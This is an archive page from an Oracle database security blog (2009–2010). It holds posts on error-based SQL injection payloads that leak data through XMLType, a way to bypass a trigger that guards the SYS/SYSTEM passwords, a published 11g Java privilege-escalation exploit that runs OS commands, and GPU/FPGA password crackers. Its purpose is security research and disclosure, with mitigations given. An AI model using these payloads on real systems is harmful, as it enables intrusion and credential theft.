| M | D | M | D | F | S | S |
|---|---|---|---|---|---|---|
| « Feb | ||||||
| 1 | 2 | 3 | 4 | 5 | 6 | 7 |
| 8 | 9 | 10 | 11 | 12 | 13 | 14 |
| 15 | 16 | 17 | 18 | 19 | 20 | 21 |
| 22 | 23 | 24 | 25 | 26 | 27 | 28 |
| 29 | 30 | 31 | ||||
- 11g (8)
- Allgemein (27)
- checkpwd (4)
- CPUApril2009 (2)
- CPUJan2009 (3)
- CPUJul2009 (2)
- CPUOct2009 (3)
- David Litchfield (7)
- Exploit (20)
- Forensics (4)
- Oracle Security (79)
- passwords (7)
- SAP (1)
- Security (18)
- Sentrigo (5)
- software (8)
- source code audit (5)
- SQL Injection (23)
- Tools (19)
- Trainings (2)
- Tutorial (2)
- 25 Feb 2010: 2 new ways to create error messages
- 24 Feb 2010: How to Prevent a User Granted the ALTER USER Privilege From Changing SYS/SYSTEM password and how to bypass it
- 23 Feb 2010: New Repscan 3.0 is available
- 22 Feb 2010: Really good whitepaper about "Hacking Oracle from the Web"
- 15 Feb 2010: Interesting Article about SQL Injection in Oracle by Mike Smithers
- 5 Feb 2010: Oracle Blackhat video removed from Website
- 4 Feb 2010: Oracle 11g 0day exploit published
- 30 Jan 2010: Selling stolen bank data to the government for 2.5 Million EUR?
- 6 Dez 2009: Dennis Yurichev wrote an article about his FPGA Oracle password cracker
- 29 Nov 2009: IGHASHGPU - Cracking Oracle Passwords with 790 Million Passwords/second
Oracle Security
Other Blogs
SQL Injection
Trainings
- Februar 2010
- Januar 2010
- Dezember 2009
- November 2009
- Oktober 2009
- September 2009
- August 2009
- Juli 2009
- Mai 2009
- April 2009
- März 2009
- Februar 2009
- Januar 2009
- Dezember 2008
- November 2008
- Oktober 2008
- August 2008
- Juli 2008
- Mai 2008
- April 2008
- März 2008
- Februar 2008
- Januar 2008
- Dezember 2007
- November 2007
- Oktober 2007
- September 2007
- August 2007
- Juli 2007
- Juni 2007
- Mai 2007
Verfasser-Archiv
2 new ways to create error messages
25 Feb 2010 von Alexander Kornbrust.
Today I came across a nice blog article “Methods of quick exploitation of blind SQL Injection Vulnerabilities in Oracle” from Dmitry Evteev about new techniques which can be used in error-based SQL injection. One of the comments contains an additional technique. Even if the title of the blog is not correct for Oracle (it’s not blind SQL Injection it’s error based which is a small but important difference) the idea itself is nice. Sometimes the SQL statements are more complicated than necessary.
Using error messages of XMLType:
The XMLType allows to create error messages containing custom strings (like database users, passwords, …). The string must start with a ‘<:’ that’s why we have to concatenate ‘<:’ to the string. Additionally the all spaces and at-signs must be replaced.
SQL> select XMLType((’<:’||user||’>’)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00110: Warning: invalid QName “:SYS” (not a Name)
Error at line 1
ORA-06512: at “SYS.XMLTYPE”, line 0
ORA-06512: at line 1
SQL> select XMLType((’<:’||replace((select banner from v$version where rownum=1) ,’ ‘,”)||’>’)) from dual;
ERROR:
19
ORA-19202: Error occurred in XML processing
LPX-00110: Warning: invalid QName
“:Oracle9iEnterpriseEditionRelease9.2.0.8.0-Production” (not a Name)
Error at line 1
ORA-06512: at “SYS.XMLTYPE”, line 0
ORA-06512: at line 1
This can be used in an SQL Injection statement:
or 1=length(XMLType((’<:’||replace((select banner from v$version where rownum=1) ,’ ‘,”)||’>’)))–
The second technique is mentioned in the comments:
SQL> select extractvalue(xmltype(’<x/>’),’/$’||(SELECT banner FROM v$version where rownum=1)) from dual;
*
ERROR at line 1:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00601: Invalid token in: ‘/$Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product‘
This can be used in an SQL Injection statement:
or 1=length(extractvalue(xmltype(’<x/>’),’/$’||(SELECT banner FROM v$version where rownum=1)))–
Geschrieben in SQL Injection | Drucken | Keine Kommentare »
How to Prevent a User Granted the ALTER USER Privilege From Changing SYS/SYSTEM password and how to bypass it
24 Feb 2010 von Alexander Kornbrust.
I found the following nice article “How to Prevent a User Granted the ALTER USER Privilege From Changing SYS/SYSTEM password” [271077.1] on My Oracle Support. As always if I see PL/SQL code I am looking for ways to find security problems or to bypass limitations.
SQL> conn / as sysdba
Connected.
SQL> CREATE or REPLACE TRIGGER prohibit_alter_SYSTEM_SYS_pass
AFTER ALTER on SCOTT.schema
BEGIN
IF ora_sysevent=’ALTER’ and ora_dict_obj_type = ‘USER’ and
(ora_dict_obj_name = ‘SYSTEM’ or ora_dict_obj_name = ‘SYS’)
THEN
RAISE_APPLICATION_ERROR(-20003,
‘You are not allowed to alter SYSTEM/SYS user.’);
END IF;
END;
/
Trigger created.
SQL> conn scott/tiger
Connected.
SQL>alter user system identified by alex;
alter user system identified by alex
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-20003: You are not allowed to alter SYSTEM/SYS user.
ORA-06512: at line 5
SQL> alter user sys identified by alex;
alter user sys identified by alex
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-20003: You are not allowed to alter SYSTEM/SYS user.
ORA-06512: at line 5
SQL> alter user dbsnmp identified by dbsnmp;
User altered.
Many Oracle users are not aware that the grant command can also be used to change passwords or even create users (”grant dba to user1,user2 identified by user1,user2″). In our case we can use this technique to bypass the database trigger.
SQL> grant connect to sys identified by alex;
Grant succeeded.
SQL> grant connect to system identified by alex;
Grant succeeded.
To fix this problem we have to block grant commands as well….
Geschrieben in source code audit, Oracle Security | Drucken | 1 Kommentar »
New Repscan 3.0 is available
23 Feb 2010 von Alexander Kornbrust.
The latest version 3.0 of our database scanner Repscan is now available. This new version supports MS SQL Server and Oracle databases. Repscan comes with a large amount of new features and a complete new GUI (First database scanner with Office-2007 UI).
Here some of the new features of Repscan 3.0:
- Support for MS SQL Server (2000, 2005, 2008)
- Extremely user-friendly database configuration wizard (screenshot)
- Flexible tree control (re-group databases by status, hierarchy, …) (screenshot)
- Database security browser with drill down functionality (PDF, XLS, … export) (screenshot, screenshot)
- New reports (performance, used_features, …)
- Data Discovery (SSN, PII, Creditcard, Passwords, …)
- Database Enumeration (custom, NMap support) (screenshot)
- Pentest Features (Guess SID, Check default username/password combinations, …)
- Exploit & Code Library (screenshot)
- Version and Patch Information
- Skins
Here some (old) features of Repscan:
- Password plugin architecture
- Password plugins for Oracle DES, SHA1, OID, APEX, OVS
- Commandline features
- PL/SQL Source Code Analysis Report
Here some statements of Repscan 3.0 users:
“Repscan Rocks”, “I must have this tool.”, “Very cool stuff”, “really like the clean interface… checks are great”, “…tend to be more Oracle security information hub than just scanner :-)”
Over the next few weeks I will show here more details of some Repscan 3.0 features.
If you want to test Repscan 3.0 you can download it from our exclusive distributor Sentrigo
Geschrieben in software, Tools, source code audit, Security, Oracle Security, Allgemein | Drucken | Keine Kommentare »
Really good whitepaper about “Hacking Oracle from the Web”
22 Feb 2010 von Alexander Kornbrust.
Sumit Siddarth (Sid) has just published a really good whitepaper about “Hacking Oracle from the Web“.This is the most comprehensive published collection of different techniques for attacking Oracle from the web. Sid spent a lot of time composing the different techniques mentioned in various presentations and whitepapers.
Sid describes various techniques like data extraction (inband techniques like union or error messages, out-of-band techniques like heavy queries, blind, …), privilege escalation (sys.kupp$proc, dbms_repcat_rpc and dbms_export_extension) and OS code execution.
Well done Sid.
Geschrieben in Exploit, SQL Injection, Security | Drucken | Keine Kommentare »
Interesting Article about SQL Injection in Oracle by Mike Smithers
15 Feb 2010 von Alexander Kornbrust.
Mike Smithers, a former colleague, maintains a nice blog called “The Anti-Kyte“. He wrote a really interesting article “Self-Inflicted SQL Injection – don’t quote me !” about SQL Injection in Oracle.
Well written Mike.
Geschrieben in SQL Injection, Oracle Security, Allgemein | Drucken | Keine Kommentare »
Oracle Blackhat video removed from Website
5 Feb 2010 von Alexander Kornbrust.
Blackhat removed the video from David Litchfield (containing the 0day exploit code for 11g) from their website. But it’s too late because the 0day code for 11g can be found in the meantime in many places.
The video was downloaded several times and it’s just a question of time until it re-appears…
BTW Oracle 10.2.0.4 with all security patches is vulnerable against this issue too. But the exploit must be modified a little bit.
Geschrieben in 11g, Exploit, David Litchfield, Allgemein | Drucken | Keine Kommentare »
Oracle 11g 0day exploit published
4 Feb 2010 von Alexander Kornbrust.
I just read on Sumit Siddarth’s (Sid) blog that the video recording from David Litchfield’s BH presentation is was online.
<<UPDATE>> The video was removed from the Blackhat website. <<UPDATE>>
David showed how to escalate Java privileges using DBMS_JVM_EXP_PERMS.
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT ‘GRANT’,USER(), ‘SYS’,’java.io.FilePermission’,’<<ALL FILES>>‘,’execute’,’ENABLED’ from dual;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
After the Java privilege escalation it is possible to run OS commands using a simple SELECT statement:
select dbms_java.runjava(’oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dir>c:\\out.lst’)from dual;
For security reasons you should:
revoke execute on dbms_java from PUBLIC;
revoke execute on dbms_java_test from PUBLIC;
revoke execute on “oracle/aurora/util/Wrapper” from PUBLIC;
grant execute on sys.dbms_jvm_exp_perms to IMP_FULL_DATABASE;
grant execute on sys.dbms_jvm_exp_perms to EXP_FULL_DATABASE;
revoke execute on sys.dbms_jvm_exp_perms from PUBLIC;
I just tested the code on my Linux 11.2.0.1 database and it worked without any problem.
SELECT * from dual where chr(42)=DBMS_JAVA.RUNJAVA(’oracle/aurora/util/Wrapper /bin/touch /tmp/iwashere3′);
Geschrieben in Exploit, David Litchfield | Drucken | Keine Kommentare »
Selling stolen bank data to the government for 2.5 Million EUR?
30 Jan 2010 von Alexander Kornbrust.
I came across an interesting article in the German newspaper FAZ. Someone is offering data of 1500 Swiss bank customers (with black money) to the German government for 2.5 Million EURO. A quick check of the tax fraud investigators showed that the data is reliable.
The Return on Invest (ROI) is approx. 100 Mill EUR for the German government (4% for the data thief). Our minister of finance is still thinking if he should make this deal. This would be good for the German government (more money, less taxes for Germans) but bad for the Swiss banking industry.
Geschrieben in Allgemein | Drucken | Keine Kommentare »
Dennis Yurichev wrote an article about his FPGA Oracle password cracker
6 Dez 2009 von Alexander Kornbrust.
Dennis Yurichev wrote an interesting background article about his FPGA password cracker for Oracle, currently the fastest (known) way to brute force Oracle DES passwords.
Dennis mentioned in the article that “By Oracle’s password standard, first password symbol is always Latin character (one of 26)”. This is not exactely correct if you enclose the password in double quotes. In this case all characters are allowed. I tested the FPGA cracker with the following test case and it seems not to crack the hash (currently still running).
SQL> grant dba to x identified by “1″;
Grant succeeded.
SQL> select username,password from dba_users where username=’X';
USERNAME PASSWORD
—————————— ——————————
X 4D91C057D0C4D801
If you want to try his FPGA cracker here is the link.
Well done and very interesting article Dennis. The only thing I would be interestedis the price of the FPGA hardware.
Geschrieben in Tools, passwords, Oracle Security | Drucken | Keine Kommentare »
IGHASHGPU - Cracking Oracle Passwords with 790 Million Passwords/second
29 Nov 2009 von Alexander Kornbrust.
This time I want to present a new super-fast password cracker.Ivan Golubev released a new version of his password cracker IGhashGPU. I know the tool for a while but in older versions of IGHASHGPU Oracle SHA1 passwords were not supported.
The new version 0.62 supports now also Oracle 11g hashes (SHA1 + salt). The remarkable thing is the speed of cracking passwords. Ivan’s cracker is using the GPU for cracking the passwords. Without a GPU (NVidia or ATI) or within a virtual machine the tool is not working.
On a dual ATI 5970 configuration (forum entry) the tool can crack approx. 790 (!!!) Million hashes per second. A single ATI 4850 can achieve more than 300 Mill. hashes per second. This means that the new 11g password algorithm can be cracked approx 130 times faster than the old DES algorithm. I am not sure if it was a good idea from Oracle to use such a standard algorithm like SHA1 because this is together with MD5 one of the most optimized algorithms.
Here is a short comparison between cracking old Oracle DES based passwords and new Oracle 11g SHA1 based passwords. I used the fasted software BF password cracker for Oracle DES (Repscan from Red-Database-Security or woraauthbf, both with approx. 6 Mill hashes on a Core i7) and compared it with the configuration of running IGHASHGPU on a dual 5970 configuration (790 Mill hashes per second).
Here are some benchmark numbers. I know that 11g supports case sensitive passwords but from my experience most people use normally lowercase passwords with the first character converted to uppercase.In such a case it is not necessary to crack the entire key space.
26 characters, length 6: DES: 53 seconds, SHA1: 0.4 seconds
26 characters, length 7: DES: 23 min, SHA1: 10 seconds
26 characters, length 8: DES: 10 h, SHA1: 4.6 minutes
26 characters, length 9: DES: 11 days, SHA1: 2 hours
26 characters, length 10: DES: 283 days, SHA1: 2 days
If you are interested to download the tool you can get it from here.
Geschrieben in Tools, 11g | Drucken | 2 Kommentare »

